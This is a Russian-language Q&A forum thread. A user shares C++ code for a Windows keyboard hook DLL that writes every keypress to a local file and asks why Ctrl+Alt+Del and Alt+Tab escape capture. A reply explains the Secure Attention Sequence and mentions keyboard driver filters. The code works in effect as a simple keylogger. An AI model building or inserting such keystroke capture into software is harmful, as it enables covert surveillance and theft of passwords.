Вопрос №34536
 
 
 
 
Категории

 

Как уловить сочетания клавиш?

Колобок · около 6 лет назад · 1 ответ
 

Нужно в обработчике хука WH_KEYBOARD улавливать нажатия клавиш на клавиатуре и писать в файл. В wParam имеем код виртуальной клавиши, а в 16-23 бите lParam скан-код. При таком коде программа некорректно перехватывает Alt+Tab (Alt пишет в файл, таб -- нет), Ctrl+Alt+Del (Del не пишет), возможно, есть еще такие комбинации.
Текст дллки с функцией-обработчиком хука:

#include "hook.h"
#include <fstream>

using namespace std;

EXPORT LRESULT CALLBACK on_wm_char(int nCode, WPARAM wParam, LPARAM lParam){
        //31-й бит lParam -- флаг состояния клвиши. 1 => нажата
        if (!(HIWORD(lParam) & 0x8000)){
                fstream f;
                f.open(L"E:\\file.txt", ios::app);
                TCHAR key[32] = L"";
                //нажата символьная. В диапазоне кодов (0x30 ~ 0x5A) задефайнены все символьные клавиши
                //сочетаня нажатия символьных клавиш и Ctrl обрабатываем без учета раскладки, иначе баг
                if (((wParam>=0x30) & (wParam<=0x5A))&(GetKeyState(VK_CONTROL)>0)){
                        BYTE key_array[256];
                        GetKeyboardState(key_array);
                        WORD buf;
                        //Получаем название клавиши с учетом текущей раскладки
                        ToAscii(wParam,HIWORD(LOBYTE(lParam)), key_array,&buf,NULL);
                        f<<(char)buf<<'\n';
                        }
                //Нажата не символьная клавиша
                else{
                        //Получение названия клавиши по скан-коду
                        GetKeyNameText(lParam, key, sizeof(key));
                        char key_c[32];
                        CharToOem(key,key_c);
                        f<<key_c><<'\n';
                        f.close();
                        }
                }
        return CallNextHookEx(NULL, nCode, wParam, lParam);
        }

 
около 6 лет назад

В принципе это не критично, что оно их не улавливает, но для достижения дзена хотелось бы устранить проблему:)

Хороший вопрос Ф топку
-1
0
Ответы
Ответ выбран автором вопроса
kelz · около 6 лет назад

Три волшебных кнопки - это комбинация SAS (Secure Attention Sequence)
SAS перехватить нельзя. В винде, в коде обработки комбинаций клавиш есть специальный case-блок для Ctrl+Alt+Del, который отключает хуки, исключая возможность перехвата данной комбинации :)
Ее обрабатывает winlogon. Для перехвата надо ставить фильтр в стек драйвера клавиатуры.
С Alt+Tab примерно та же фишка.

 
 
 
 
 
Похожие вопросы
Ангелина · около 9 лет назад · 1 ответ
 
Стас · около 8 лет назад · 1 ответ
 
 
 
Колобок · почти 6 лет назад · 3 ответа
 
 
Ссылка на этот вопрос
 
Поискать ответ на вопрос: ответы@mail.ru, otvety@google.ru, Яндекс.Ответы
 
Читать новые вопросы в: LiveJournal, Livinternet, Google Reader
 
Этот вопрос посмотрели 892 раза, в среднем 2 просмотра в неделю (0.40)
 
 
 
 
 
 
Адрес друга:
 
 
 
 
 
 
 
 
 
 
 

© vorum.ru — вопросы и ответы, 2006–2016
Пишите нам на in@vorum.ru

Администрация сервера не гарантирует точность и достоверность размещаемых пользователями материалов, а также не несет ответственности ни за какие задержки, сбои, удаление или несохранность какой-либо пользовательской информации.

Цифры не для всех: 212

 
 
× Нравится наш сайт?
Нажмите кнопку «Мне нравится» (Like), чтобы присоединиться к нам на Facebook